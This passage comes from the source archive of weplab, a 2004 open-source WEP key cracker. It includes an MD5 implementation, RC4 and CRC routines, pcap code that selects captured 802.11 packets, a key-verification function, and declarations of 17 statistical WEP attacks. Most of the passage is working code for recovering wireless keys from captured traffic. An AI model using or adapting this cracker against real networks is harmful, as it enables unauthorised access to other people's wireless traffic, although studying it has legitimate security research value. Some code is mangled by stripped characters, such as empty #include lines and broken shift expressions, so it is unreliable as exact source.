= ctx->bits[0]; if ((ctx->bits[0] = (t + ((uint32)len << 3)) & 0xffffffff) < t) ctx->bits[1]++; /* Carry from low to high */ ctx->bits[1] += len >> 29; t = (t >> 3) & 0x3f; /* Bytes already in shsInfo->data */ /* Handle any leading odd-sized chunks */ if (t) { unsigned char *p = ctx->in + t; t = 64 - t; if (len < t) { memcpy(p, buf, len); return; } memcpy(p, buf, t); MD5Transform(ctx->buf, ctx->in, ctx); buf += t; len -= t; } /* Process data in 64-byte chunks */ while (len >= 64) { memcpy(ctx->in, buf, 64); MD5Transform(ctx->buf, ctx->in, ctx); buf += 64; len -= 64; } /* Handle any remaining bytes of data. */ memcpy(ctx->in, buf, len); } /* * Final wrapup - pad to 64-byte boundary with the bit pattern * 1 0* (64-bit count of bits processed, MSB-first) */ void MD5Final(unsigned char digest[16], struct MD5Context *ctx) { unsigned count; unsigned char *p; /* Compute number of bytes mod 64 */ count = (ctx->bits[0] >> 3) & 0x3F; /* Set the first char of padding to 0x80. This is safe since there is always at least one byte free */ p = ctx->in + count; *p++ = 0x80; /* Bytes of padding needed to make 64 bytes */ count = 64 - 1 - count; /* Pad out to 56 mod 64 */ if (count < 8) { /* Two lots of padding: Pad the first block to 64 bytes */ memset(p, 0, count); MD5Transform(ctx->buf, ctx->in, ctx); /* Now fill the next block with 56 bytes */ memset(ctx->in, 0, 56); } else { /* Pad block to 56 bytes */ memset(p, 0, count - 8); } /* Append length in bits and transform */ PUT_32BIT_LSB_FIRST(ctx->in + 56, ctx->bits[0]); PUT_32BIT_LSB_FIRST(ctx->in + 60, ctx->bits[1]); MD5Transform(ctx->buf, ctx->in, ctx); PUT_32BIT_LSB_FIRST(digest, ctx->buf[0]); PUT_32BIT_LSB_FIRST(digest + 4, ctx->buf[1]); PUT_32BIT_LSB_FIRST(digest + 8, ctx->buf[2]); PUT_32BIT_LSB_FIRST(digest + 12, ctx->buf[3]); memset(ctx, 0, sizeof(ctx)); /* In case it's sensitive */ } #ifndef ASM_MD5 /* The four core functions - F1 is optimized somewhat */ /* #define F1(x, y, z) (x & y | ~x & z) */ #define F1(x, y, z) (z ^ (x & (y ^ z))) #define F2(x, y, z) F1(z, x, y) #define F3(x, y, z) (x ^ y ^ z) #define F4(x, y, z) (y ^ (x | ~z)) /* This is the central step in the MD5 algorithm. */ /* debugging version: */ /* #define MD5STEP(f, w, x, y, z, data, s) \ printf("MD5STEP: w: %x x: %x y: %x z: %x data: %x s: %x\n", \ w, x, y, z, data, s); \ printf("f(x,y,z) = %x\n", f(x,y,z)+data); \ ( w += f(x, y, z) + data, printf(" - w: %x ", w), \ w = w<>(32-s), printf(" - w: %x\n", w), w += x ) */ #define MD5STEP(f, w, x, y, z, data, s) \ ( w += f(x, y, z) + data, w = w<>(32-s), w += x ) /* * The core of the MD5 algorithm, this alters an existing MD5 hash to * reflect the addition of 16 longwords of new data. MD5Update blocks * the data and converts bytes into longwords for this routine. */ void MD5Transform(uint32 buf[4], const unsigned char inext[64], struct MD5Context *ctx) { register word32 a, b, c, d, i; word32 in[16]; debugStatus("Before transform", ctx); for (i = 0; i < 16; i++) in[i] = GET_32BIT_LSB_FIRST(inext + 4 * i); a = buf[0]; b = buf[1]; c = buf[2]; d = buf[3]; /* printf("a: %x\n", a); printf("in[0]: %x\n", in[0]); */ MD5STEP(F1, a, b, c, d, in[0] + 0xd76aa478, 7); /* printf("a: %x\n", a); */ MD5STEP(F1, d, a, b, c, in[1] + 0xe8c7b756, 12); MD5STEP(F1, c, d, a, b, in[2] + 0x242070db, 17); MD5STEP(F1, b, c, d, a, in[3] + 0xc1bdceee, 22); MD5STEP(F1, a, b, c, d, in[4] + 0xf57c0faf, 7); MD5STEP(F1, d, a, b, c, in[5] + 0x4787c62a, 12); MD5STEP(F1, c, d, a, b, in[6] + 0xa8304613, 17); MD5STEP(F1, b, c, d, a, in[7] + 0xfd469501, 22); MD5STEP(F1, a, b, c, d, in[8] + 0x698098d8, 7); MD5STEP(F1, d, a, b, c, in[9] + 0x8b44f7af, 12); MD5STEP(F1, c, d, a, b, in[10] + 0xffff5bb1, 17); MD5STEP(F1, b, c, d, a, in[11] + 0x895cd7be, 22); MD5STEP(F1, a, b, c, d, in[12] + 0x6b901122, 7); MD5STEP(F1, d, a, b, c, in[13] + 0xfd987193, 12); MD5STEP(F1, c, d, a, b, in[14] + 0xa679438e, 17); MD5STEP(F1, b, c, d, a, in[15] + 0x49b40821, 22); MD5STEP(F2, a, b, c, d, in[1] + 0xf61e2562, 5); MD5STEP(F2, d, a, b, c, in[6] + 0xc040b340, 9); MD5STEP(F2, c, d, a, b, in[11] + 0x265e5a51, 14); MD5STEP(F2, b, c, d, a, in[0] + 0xe9b6c7aa, 20); MD5STEP(F2, a, b, c, d, in[5] + 0xd62f105d, 5); MD5STEP(F2, d, a, b, c, in[10] + 0x02441453, 9); MD5STEP(F2, c, d, a, b, in[15] + 0xd8a1e681, 14); MD5STEP(F2, b, c, d, a, in[4] + 0xe7d3fbc8, 20); MD5STEP(F2, a, b, c, d, in[9] + 0x21e1cde6, 5); MD5STEP(F2, d, a, b, c, in[14] + 0xc33707d6, 9); MD5STEP(F2, c, d, a, b, in[3] + 0xf4d50d87, 14); MD5STEP(F2, b, c, d, a, in[8] + 0x455a14ed, 20); MD5STEP(F2, a, b, c, d, in[13] + 0xa9e3e905, 5); MD5STEP(F2, d, a, b, c, in[2] + 0xfcefa3f8, 9); MD5STEP(F2, c, d, a, b, in[7] + 0x676f02d9, 14); MD5STEP(F2, b, c, d, a, in[12] + 0x8d2a4c8a, 20); MD5STEP(F3, a, b, c, d, in[5] + 0xfffa3942, 4); MD5STEP(F3, d, a, b, c, in[8] + 0x8771f681, 11); MD5STEP(F3, c, d, a, b, in[11] + 0x6d9d6122, 16); MD5STEP(F3, b, c, d, a, in[14] + 0xfde5380c, 23); MD5STEP(F3, a, b, c, d, in[1] + 0xa4beea44, 4); MD5STEP(F3, d, a, b, c, in[4] + 0x4bdecfa9, 11); MD5STEP(F3, c, d, a, b, in[7] + 0xf6bb4b60, 16); MD5STEP(F3, b, c, d, a, in[10] + 0xbebfbc70, 23); MD5STEP(F3, a, b, c, d, in[13] + 0x289b7ec6, 4); MD5STEP(F3, d, a, b, c, in[0] + 0xeaa127fa, 11); MD5STEP(F3, c, d, a, b, in[3] + 0xd4ef3085, 16); MD5STEP(F3, b, c, d, a, in[6] + 0x04881d05, 23); MD5STEP(F3, a, b, c, d, in[9] + 0xd9d4d039, 4); MD5STEP(F3, d, a, b, c, in[12] + 0xe6db99e5, 11); MD5STEP(F3, c, d, a, b, in[15] + 0x1fa27cf8, 16); MD5STEP(F3, b, c, d, a, in[2] + 0xc4ac5665, 23); MD5STEP(F4, a, b, c, d, in[0] + 0xf4292244, 6); MD5STEP(F4, d, a, b, c, in[7] + 0x432aff97, 10); MD5STEP(F4, c, d, a, b, in[14] + 0xab9423a7, 15); MD5STEP(F4, b, c, d, a, in[5] + 0xfc93a039, 21); MD5STEP(F4, a, b, c, d, in[12] + 0x655b59c3, 6); MD5STEP(F4, d, a, b, c, in[3] + 0x8f0ccc92, 10); MD5STEP(F4, c, d, a, b, in[10] + 0xffeff47d, 15); MD5STEP(F4, b, c, d, a, in[1] + 0x85845dd1, 21); MD5STEP(F4, a, b, c, d, in[8] + 0x6fa87e4f, 6); MD5STEP(F4, d, a, b, c, in[15] + 0xfe2ce6e0, 10); MD5STEP(F4, c, d, a, b, in[6] + 0xa3014314, 15); MD5STEP(F4, b, c, d, a, in[13] + 0x4e0811a1, 21); MD5STEP(F4, a, b, c, d, in[4] + 0xf7537e82, 6); MD5STEP(F4, d, a, b, c, in[11] + 0xbd3af235, 10); MD5STEP(F4, c, d, a, b, in[2] + 0x2ad7d2bb, 15); MD5STEP(F4, b, c, d, a, in[9] + 0xeb86d391, 21); buf[0] += a; buf[1] += b; buf[2] += c; buf[3] += d; debugStatus("After transform", ctx); } void debugStatus(char *m, struct MD5Context *ctx) { return; printf("%s:\n", m); printf("in: "); dumpBytes(ctx->in, 64); printf("bits: %d %d\n", ctx->bits[1], ctx->bits[0]); printf("buf: %x %x %x %x\n", ctx->buf[0], ctx->buf[1], ctx->buf[2], ctx->buf[3]); } void dumpBytes(unsigned char *b, int len) { int i; for (i=0; i> 8; \ (cp)[2] = (value) >> 16; \ (cp)[3] = (value) >> 24; } while (0) typedef unsigned int word32; /* this used to get done in header files that used gnu autoconf, * but to avoid lifting non-public-domain code, I have extracted * the relevant line. Therefore, if ints aren't 32 bits on your * machine, you should fix this typedef. */ typedef word32 uint32; struct MD5Context { uint32 buf[4]; uint32 bits[2]; unsigned char in[64]; }; void MD5Init(struct MD5Context *context); void MD5Update(struct MD5Context *context, unsigned char const *buf, unsigned len); void MD5Final(unsigned char digest[16], struct MD5Context *context); void MD5Transform(uint32 buf[4], const unsigned char in[64], struct MD5Context *ctx); /* * This is needed to make RSAREF happy on some MS-DOS compilers. */ typedef struct MD5Context MD5_CTX; void debugStatus(char *m, struct MD5Context *ctx); void dumpBytes(unsigned char *b, int len); #endif /* !MD5_H */ weplab-0.1.5/wep.c0000644000000000000000000003727710211370504010626 00000000000000// TODO // Sanity checks on captured packets and command line parameters suggestions /* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- wep.c: wep generic functions */ #include #include #include #include #include "debug.h" #include "globals.h" #include "wep.h" static u_int32_t crc_table[256] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d }; u_int32_t CalculateCrc(unsigned char *buffer, int len) { u_int32_t value; value = ~0U; while(len--) { value = crc_table[(value ^ *buffer) & 0xff] ^ (value >> 8); buffer++; } return value^ ~0U; } inline static void SwapByte(unsigned char *a, unsigned char *b){ register unsigned char swapByte; swapByte=*a; *a=*b; *b=swapByte; } void InitKey(unsigned char *key_data_ptr, int key_data_len, rc4_key *key){ register unsigned char index1; register unsigned char index2; unsigned char *state; register short i; state=&key->state[0]; //for (i=0; i<256; i++) state[i]=i; memcpy(state,S_InitialBackup,256); key->x=0; key->y=0; index1=0; index2=0; for (i=0; i<256;i++){ index2=(key_data_ptr[index1]+state[i]+index2)%256; SwapByte(&state[i], &state[index2]); index1=(index1+1)%key_data_len; } } void Rc4(unsigned char *buffer_ptr, int buffer_len, unsigned char *buffer_out, rc4_key *key){ register unsigned char x; register unsigned char y; unsigned char *state; //unsigned char xorIndex; short i; x=key->x; y=key->y; state=&key->state[0]; for (i=0; ix=x; key->y=y; } // parameters: // pkt: pointer to the raw encrypted 802.11b packet // key: pointer to the key used to try // key_len: length of the key in bytes // pkt_len: length of th raw encrypted packet short VerifyKey(unsigned char *pkt, unsigned char *key, int key_len, int pkt_len){ unsigned char seed[LEN_KEY]; unsigned char pkt_out[MAX_PKT_LEN]; rc4_key k; unsigned int pkt_crc, calculated_crc; unsigned char *crcbytes; memcpy(seed,pkt,LEN_IV); // DebugViewKey(seed,3); //seed[0]=pkt[2]; //seed[1]=pkt[1]; //seed[2]=pkt[0]; memcpy(seed+LEN_IV,key,key_len); InitKey(seed,key_len+LEN_IV,&k); //DebugViewKey(key,14); if (((k.state[(k.state[1]+k.state[k.state[1]])&0xFF]^(pkt+LEN_IV+LEN_ID)[0])!=0xAA) && ((k.state[(k.state[1]+k.state[k.state[1]])&0xFF]^(pkt+LEN_IV+LEN_ID)[0])!=0xE0)) return 0; // Ultra fast pre-verification based on 1st byte decryption // Let's go for the other byte! //if (((k.state[(k.state[2]+k.state[(k.state[2]+k.state[1])&0xFF])&0xFF]^(pkt+LEN_IV+LEN_ID)[1])!=0xAA) && //((k.state[(k.state[2]+k.state[(k.state[2]+k.state[1])&0xFF])&0xFF]^(pkt+LEN_IV+LEN_ID)[1])!=0xE0)) return 0; // Ultra fast pre-verification based on 1st byte decryption Rc4(pkt+LEN_IV+LEN_ID,pkt_len-LEN_IV-LEN_ID,pkt_out,&k); //if (pkt_out[0]!=0xaa) return 0; if (pkt_out[1]!=0xAA && pkt_out[1]!=0xE0) return 0; //DebugViewKey(pkt_out,60); /* calculate checksum and see if it checks out */ //crcbytes = pkt_out + pkt_len - LEN_IV - LEN_ID - 4; crcbytes = pkt_out + pkt_len - LEN_IV - LEN_ID - 4; //DebugViewKey(crcbytes-2,10); pkt_crc = ((unsigned int) crcbytes[0]) | (((unsigned int) crcbytes[1]) << 8) | (((unsigned int) crcbytes[2]) << 16) | (((unsigned int) crcbytes[3]) << 24); calculated_crc = CalculateCrc(pkt_out, pkt_len - LEN_IV - LEN_ID - 4); if(pkt_crc == calculated_crc) return 1; else return 0; } pcap_t *OpenPcapFile(char *file){ char errbuf[PCAP_ERRBUF_SIZE]; pcap_t *p; if((p = pcap_open_offline(file, errbuf)) == NULL) { fprintf(stderr, "Error: unable to open pcap output file: %s\n", errbuf); exit(2); } return p; } void ClosePcapFile(pcap_t *file){ pcap_close(file); } int GetLessSizedPackets(pcap_t *pfile, t_storedPacket **packets){ FILE * fileDescriptor; unsigned long int fileSize=0; unsigned long int actualFilePosition; unsigned long int lastProgressPerc=0; unsigned long int perc; unsigned long int lastFilePosition=0; unsigned char * pkt; struct pcap_pkthdr h; t_wi_frame *wi_h; unsigned long int totalPackets=0; int max=MAX_PKT_SIZE; int totalPackets10=0; int totalValidPackets=0; int min=0; int i,j; t_storedPacket *tmpPacket; int m_pkt=0; unsigned int p_len; unsigned char *iv; fileDescriptor=pcap_file(pfile); actualFilePosition=ftell(fileDescriptor); fseek(fileDescriptor,0,SEEK_END); fileSize=ftell(fileDescriptor); fseek(fileDescriptor,actualFilePosition,SEEK_SET); perc=fileSize/100; while(1) { if ((pkt = (unsigned char *) pcap_next(pfile, &h)) == NULL) break; totalPackets++; actualFilePosition=ftell(fileDescriptor); //debug("%u",actualFilePosition); if (actualFilePosition-lastFilePosition>perc) { printf("\r %lu %% read",lastProgressPerc++); fflush(stdout); lastFilePosition=actualFilePosition; } if (global_v.prismHeaderPresent) pkt+=144; wi_h=(t_wi_frame *)pkt; // pkt+=IV_OFFSET; if (h.len!=h.caplen){ if (global_v.debug>2) debug("Packet %u has different real length (%u) than captured length (%u)",totalPackets,h.len, h.caplen); }else if(!(wi_h->wi_frame_ctl_1&0x08)){ if (global_v.prismHeaderPresent) { if (h.len<144+sizeof(t_wi_frame)) { if (global_v.debug>2) debug("Packet %u has negative size with prismheader!! Perhaps you dont need --prismheader"); } } if (global_v.debug>2) debug("Packet %u is not a DATA type packet",totalPackets); }else //if (!(wi_h->wi_status & WI_STAT_BADCRC) && (wi_h->wi_frame_ctl & WI_FCTL_FTYPE) == WI_FTYPE_DATA) //if ( (!(ntohs(wi_h->wi_status) & WI_STAT_BADCRC) && (ntohs(wi_h->wi_frame_ctl) & WI_FCTL_FTYPE) == WI_FTYPE_DATA) ) //&&(ntohs(wi_h->wi_dat_len) < MAX_PKT_SIZE && ntohs(wi_h->wi_dat_len) > MIN_PKT_SIZE) ) { // First let's check the BSSID if selected if (global_v.target_bssid_selected){ if (target_bssid(pkt)) { if (global_v.debug>2) debug("Packet %u belongs to a different BSSID",totalPackets); continue; } }else{ if (GetPacketBssid(pkt,global_v.target_bssid)){ printf("Not BSSID specified.\n Detected one packet with BSSID: [%02X:%02X:%02X:%02X:%02X:%02X]\n", TOMAC(global_v.target_bssid)); debug("Only packets belongs to that BSSID will be processed.\nIf -a option reveals other BSSIDs you can specify one with --bssid.\n"); global_v.target_bssid_selected=1; } } if (global_v.prismHeaderPresent) { if (h.len<144+sizeof(t_wi_frame)) { if (global_v.debug>2) debug("Packet %u has negative size with prismheader!! Perhaps you dont need --prismheader"); continue; } p_len=h.len-144; } else p_len=h.len; if (((*(((unsigned char *)wi_h)+1))&0xC0)==0xC0) iv=pkt+sizeof(t_wi_frame)+6; else iv=pkt+sizeof(t_wi_frame); if (global_v.key_len==5 && iv[3]!=global_v.keyid) continue; // Si no es la key correcta para 64 bits la ignoro // If total lenght < 802.11 header plus CRC then DATA=0 and packet should be ignored. if (p_len <= sizeof(t_wi_frame)+4) continue; if (global_v.debug>2){ debug("Packet %u",totalPackets); debug("---------------------------------------------"); DebugViewPacketHeaders(pkt); debug("Pcap Len: %u",h.len); debug("Real Len (minus prismheader): %u", p_len); debug("---------------------------------------------\n"); } if (totalPackets10<10) totalPackets10++; totalValidPackets++; if (p_lenpacket) if (packets[i]->len>max){ max=packets[i]->len; m_pkt=i; } if (totalPackets10<11) m_pkt=totalPackets10-1; if (packets[m_pkt]->packet) free(packets[m_pkt]->packet); packets[m_pkt]->packet=malloc(p_len); memcpy(packets[m_pkt]->packet, pkt, p_len); packets[m_pkt]->len=p_len; max=0; for (i=0; ilen>max) max=packets[i]->len; } } for (i=0; ilen; for (j=i+1; j=packets[j]->len){ tmpPacket=packets[i]; packets[i]=packets[j]; packets[j]=tmpPacket; min=packets[j]->len; } } } } printf("\r \n"); printf("Total valid packets read: %u\n",totalValidPackets); printf("Total packets read: %u\n",totalPackets); return totalPackets10; } void DebugView10Packets(t_storedPacket **packets, int totalPackets){ int i; debug("%u packets selected.",totalPackets); for (i=0; i %u total lenght, %u data lenght (just encrypted data)",i,packets[i]->len,packets[i]->len-sizeof(t_wi_frame)-LEN_IV-LEN_ID); if (global_v.debug>1) DebugViewPacketHeaders(packets[i]->packet); // debug ("Len EXcluding headers (%d 802.11, %d IV+ID): %d",sizeof(t_wi_frame),LEN_IV+LEN_ID,packets[i]->len-sizeof(t_wi_frame)-LEN_IV-LEN_ID); } } void DebugViewKey(unsigned char *key, int len){ char buffer[1024]; char buffer_aux[1024]; int i; strcpy(buffer,"Key: "); for (i=0; iwi_frame_ctl_1); DebugViewKey(packet+sizeof(t_wi_frame),3); //debug ("Seq Ctl: %u",(u_int16_t) wi_h->wi_seq_ctl); } // Uses key_len stored in global_v.key_len short VerifyPacketWithKey(t_storedPacket *packet, unsigned char *key){ int len=packet->len; if (global_v.fcsPresent) len-=4; if (VerifyKey(packet->packet+sizeof (t_wi_frame),key,global_v.key_len,len-sizeof(t_wi_frame))) return 1; else return 0; } short Verify10PacketsWithKey(t_storedPacket **packets, unsigned char *key){ int i; int trues=0; for (i=0; i<10; i++){ if (packets[i]->packet) if (VerifyPacketWithKey(packets[i], key)) trues ++; } return trues; } /* * function to extract BSSID of of a given packet * returns 0, in case, the BSSID of -s matches the packet * return 1 in case BSSID differs * */ int target_bssid(const u_char *pkt) { const u_char *packet; static t_wi_frame *wi_h; unsigned char bssid[6]; packet = (unsigned char *) pkt; wi_h = (t_wi_frame *)packet; // STA TO AP data if (wi_h->wi_frame_ctl_2 & 0x01) { memcpy(bssid, wi_h->wi_addr1, 6); } // AP TO STA data else if (wi_h->wi_frame_ctl_2 & 0x02) { memcpy(bssid, wi_h->wi_addr2, 6); } // AP TO AP else if (wi_h->wi_frame_ctl_2 & 0x03) { } // STA TO STA or management frame else if (wi_h->wi_frame_ctl_2 & 0x00) { memcpy(bssid, wi_h->wi_addr3, 6); } else { // printf("weird, hehe... ;)\n"); } if (global_v.debug>1){ if (global_v.target_bssid_selected == 1) { debug("BSSID: [%02x:%02x:%02x:%02x:%02x:%02x]\n", TOMAC(bssid)); } } if (memcmp(global_v.target_bssid, bssid, 6) == 0) { return(0); } else { return(1); } } int GetPacketBssid(const u_char *pkt, unsigned char *bssid) { int returnvalue=0; const u_char *packet; static t_wi_frame *wi_h; packet = (unsigned char *) pkt; wi_h = (t_wi_frame *)packet; // STA TO AP data if (wi_h->wi_frame_ctl_2 & 0x01) { memcpy(bssid, wi_h->wi_addr1, 6); returnvalue=1; } // AP TO STA data else if (wi_h->wi_frame_ctl_2 & 0x02) { memcpy(bssid, wi_h->wi_addr2, 6); returnvalue=1; } // AP TO AP else if (wi_h->wi_frame_ctl_2 & 0x03) { } // STA TO STA or management frame else if (wi_h->wi_frame_ctl_2 & 0x00) { memcpy(bssid, wi_h->wi_addr3, 6); returnvalue=1; } else { // printf("weird, hehe... ;)\n"); } if (global_v.debug>1){ debug("Detected candidate BSSID: [%02x:%02x:%02x:%02x:%02x:%02x]\n", TOMAC(bssid)); } return returnvalue; } weplab-0.1.5/wep.h0000644000000000000000000000531210117667260010631 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- wep.h: wep generic functions */ #ifndef _WEP_H #define _WEP_H #include #include typedef struct rc4_key{ unsigned char state[256]; unsigned char x; unsigned char y; } rc4_key; u_int32_t calculateCrc(unsigned char *buffer, int len); short verifyKey(unsigned char *pkt, unsigned char *key, int key_len, int pkt_len); typedef struct{ unsigned int len; unsigned char *packet; }t_storedPacket; typedef struct { //u_int16_t wi_status; /* 0x00 2*/ //u_int16_t wi_rsvd0; /* 0x02 4*/ //u_int16_t wi_rsvd1; /* 0x04 6*/ //u_int16_t wi_q_info; /* 0x06 8*/ //u_int16_t wi_rsvd2; /* 0x08 10*/ //u_int16_t wi_rsvd3; /* 0x0A 12*/ //u_int16_t wi_tx_ctl; /* 0x0C 14*/ // u_int16_t wi_frame_ctl; /* 0x0E 16*/ // Instead of this use 2 bytes for little-big endian u_int8_t wi_frame_ctl_1; u_int8_t wi_frame_ctl_2; u_int16_t wi_id; /* 0x10 18*/ u_int8_t wi_addr1[6]; /* 0x12 24*/ u_int8_t wi_addr2[6]; /* 0x18 30*/ u_int8_t wi_addr3[6]; /* 0x1E 36*/ u_int16_t wi_seq_ctl; /* 0x24 38*/ //u_int8_t wi_addr4[6]; /* 0x26 44*/ //u_int16_t wi_dat_len; /* 0x2C 46*/ //u_int8_t wi_dst_addr[6]; /* 0x2E 52*/ //u_int8_t wi_src_addr[6]; /* 0x34 58*/ //u_int16_t wi_len; /* 0x3A 60*/ //u_int16_t wi_dat[3]; /* 0x3C */ /* SNAP header */ //u_int16_t wi_type; /* 0x42 */ } t_wi_frame; pcap_t *OpenPcapFile(char *file); void ClosePcapFile(pcap_t *file); int GetLessSizedPackets(pcap_t *pfile, t_storedPacket **packets); void DebugView10Packets(t_storedPacket **packets, int totalPackets); void DebugViewPacketHeaders(unsigned char *packet); short VerifyPacketWithKey(t_storedPacket *packet, unsigned char *key); void DebugViewKey(unsigned char *key, int len); void ViewKey(unsigned char *key, int len); short Verify10PacketsWithKey(t_storedPacket **packets, unsigned char *key); #endif weplab-0.1.5/attack.h0000644000000000000000000000305310114230252011265 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. --------- attack.h: WEP statistical cracking algorithms. */ #ifndef _ATTACK_H #define _ATTACK_H // Defines #define N 256 // RC4 number of elements in permutation array #define NUMBER_ATTACKS 17 // Number of attacks implemented #define STABILITY_LEVELS 5 // Number of predefined stability levels extern unsigned int weakKeyBranch[NUMBER_ATTACKS][13]; extern unsigned char defaultAttacks[STABILITY_LEVELS+1][NUMBER_ATTACKS]; // Sets whether an specific attack number launched by default (1) or not (0). void InitKeyByteSearch(void); void AttackAndEvaluate(int keyByte, u_char *sKey, unsigned char *K, unsigned char *S, unsigned char *actual_iv, unsigned int votes[17][256], unsigned int totalIvs); void FinishKeyByteSearch(int keyByte, unsigned int totalIvs, unsigned int votes[17][256]); #endif weplab-0.1.5/attack.c0000644000000000000000000003620210114447455011301 00000000000000/* weplab - Wep Key Cracker Copyright (C) 2004 Jose Ignacio Sanchez Martin - Topo[LB] This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 